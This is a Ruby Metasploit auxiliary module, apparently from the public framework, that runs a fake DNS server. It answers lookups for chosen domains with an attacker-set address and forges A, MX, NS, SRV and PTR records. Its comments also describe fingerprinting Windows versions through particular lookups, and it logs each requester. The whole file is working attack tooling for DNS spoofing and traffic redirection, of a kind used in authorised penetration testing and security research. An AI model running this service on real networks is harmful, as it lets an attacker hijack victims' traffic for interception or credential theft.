##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'resolv'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report


  def initialize
    super(
      'Name'        => 'Fake DNS Service',
      'Description'    => %q{
        This module provides a DNS service that redirects
      all queries to a particular address.
      },
      'Author'      => ['ddz', 'hdm', 'fozavci'],
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Service', 'Description' => 'Run DNS server' ]
        ],
      'PassiveActions' =>
        [
          'Service'
        ],
      'DefaultAction'  => 'Service'
    )

    register_options(
      [
        OptAddress.new('SRVHOST',   [ true, "The local host to listen on.", '0.0.0.0' ]),
        OptPort.new('SRVPORT',      [ true, "The local port to listen on.", 53 ]),
        OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]),
        OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE). Use '*' for wildcard.", 'www.google.com']),
        OptEnum.new('TARGETACTION', [ true, "Action for TARGETDOMAIN", "BYPASS", %w{FAKE BYPASS}]),
      ])

    register_advanced_options(
      [
        OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]),
        OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]),
        OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]),
      ])
  end


  def target_host(addr = nil)
    target = datastore['TARGETHOST']
    if target.blank?
      if addr
        ::Rex::Socket.source_address(addr)
      else
        nil
      end
    else
      ::Rex::Socket.resolv_to_dotted(target)
    end
  end

  def run
    @port = datastore['SRVPORT'].to_i

    @log_console  = false
    @log_database = false

    if datastore['LogConsole']
      @log_console = true
    end

    if datastore['LogDatabase']
      @log_database = true
    end

    # MacOS X workaround
    ::Socket.do_not_reverse_lookup = true

    print_status("DNS server initializing")
    @sock = ::UDPSocket.new()
    @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
    @sock.bind(datastore['SRVHOST'], @port)
    @run = true
    @domain_target_list = datastore['TARGETDOMAIN'].split
    @bypass = ( datastore['TARGETACTION'].upcase == "BYPASS" )

    print_status("DNS server started")
    begin

    while @run
      @error_resolving = false
      packet, addr = @sock.recvfrom(65535)
      src_addr = addr[3]
      @requestor = addr
      next if packet.length == 0

      request = Resolv::DNS::Message.decode(packet)
      next unless request.qr == 0

      #
      # XXX: Track request IDs by requesting IP address and port
      #
      # Windows XP SP1a: UDP source port constant,
      #  sequential IDs since boot time
      # Windows XP SP2: Randomized IDs
      #
      # Debian 3.1: Static source port (32906) until timeout,
      #  randomized IDs
      #

      lst = []

      request.each_question {|name, typeclass|
        # Identify potential domain exceptions
        @match_target = false
        @match_name = name.to_s
        @domain_target_list.each do |ex|
          escaped = Regexp.escape(ex).gsub('\*','.*?')
          regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE
          if ( name.to_s =~ regex )
            @match_target = true
            @match_name = ex
          end
        end

        tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "")

        request.qr = 1
        request.ra = 1

        lst << "#{tc_s} #{name}"
        case tc_s
        when 'IN::A'

          # Special fingerprinting name lookups:
          #
          # _isatap -> XP SP = 0
          # isatap.localdomain -> XP SP >= 1
          # teredo.ipv6.microsoft.com -> XP SP >= 2
          #
          # time.windows.com -> windows ???
          # wpad.localdomain -> windows ???
          #
          # <hostname> SOA -> windows XP self hostname lookup
          #

          answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))

          if (@match_target and not @bypass) or (not @match_target and @bypass)
            # Resolve FAKE response
            if (@log_console)
              print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}")
            end
          else
            # Resolve the exception domain
            begin
            ip = Resolv::DNS.new().getaddress(name).to_s
            answer = Resolv::DNS::Resource::IN::A.new( ip )
            rescue ::Exception => e
              @error_resolving = true
              next
            end
            if (@log_console)
              print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}")
            end
          end


          request.add_answer(name, 60, answer)

        when 'IN::MX'
          mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}"))
          ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))
          ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))
          request.add_answer(name, 60, mx)
          request.add_authority(name, 60, ns)
          request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar)

        when 'IN::NS'
          ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))
          ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))
          request.add_answer(name, 60, ns)
          request.add_additional(name, 60, ar)

        when 'IN::SRV'
          if @bypass || !@match_target
            if @log_console
              print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}")
            end
            # if we are in bypass mode or we are in fake mode but the target didn't match,
            # just return the real response RRs
            resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV)
            if resources.empty?
              @error_resolving = true
              print_error("Unable to resolve SRV record for #{name} -- skipping")
              next
            end
            resources.each do |resource|
              host = resource.target
              port = resource.port.to_i
              weight = resource.weight.to_i
              priority = resource.priority.to_i
              ttl = resource.ttl.to_i
              request.add_answer(
                name,
                ttl,
                Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host))
              )
            end
          else
            if @log_console
              print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}")
              # Prepare the FAKE response
              request.add_answer(
                name,
                10,
                Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name))
              )
              request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr)))
            end
          end
        when 'IN::PTR'
          soa = Resolv::DNS::Resource::IN::SOA.new(
            Resolv::DNS::Name.create("ns.internet.com"),
            Resolv::DNS::Name.create("root.internet.com"),
            1,
            3600,
            3600,
            3600,
            3600
          )
          ans = Resolv::DNS::Resource::IN::PTR.new(
            Resolv::DNS::Name.create("www")
          )

          request.add_answer(name, 60, ans)
          request.add_authority(name, 60, soa)
        else
          lst << "UNKNOWN #{tc_s}"
        end
      }

      if(@log_console)
        if(@error_resolving)
          print_error("XID #{request.id} (#{lst.join(", ")}) - Error resolving")
        else
          print_status("XID #{request.id} (#{lst.join(", ")})")
        end
      end

      if(@log_database)
        report_note(
          :host => addr[3],
          :type => "dns_lookup",
          :data => "#{addr[3]}:#{addr[1]} XID #{request.id} (#{lst.join(", ")})"
        ) if lst.length > 0
      end


      @sock.send(request.encode(), 0, addr[3], addr[1])
    end

    rescue ::Exception => e
      print_error("fakedns: #{e.class} #{e} #{e.backtrace}")
    # Make sure the socket gets closed on exit
    ensure
      @sock.close
    end
  end

  def print_error(msg)
    @requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)
  end

  def print_status(msg)
    @requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)
  end
end
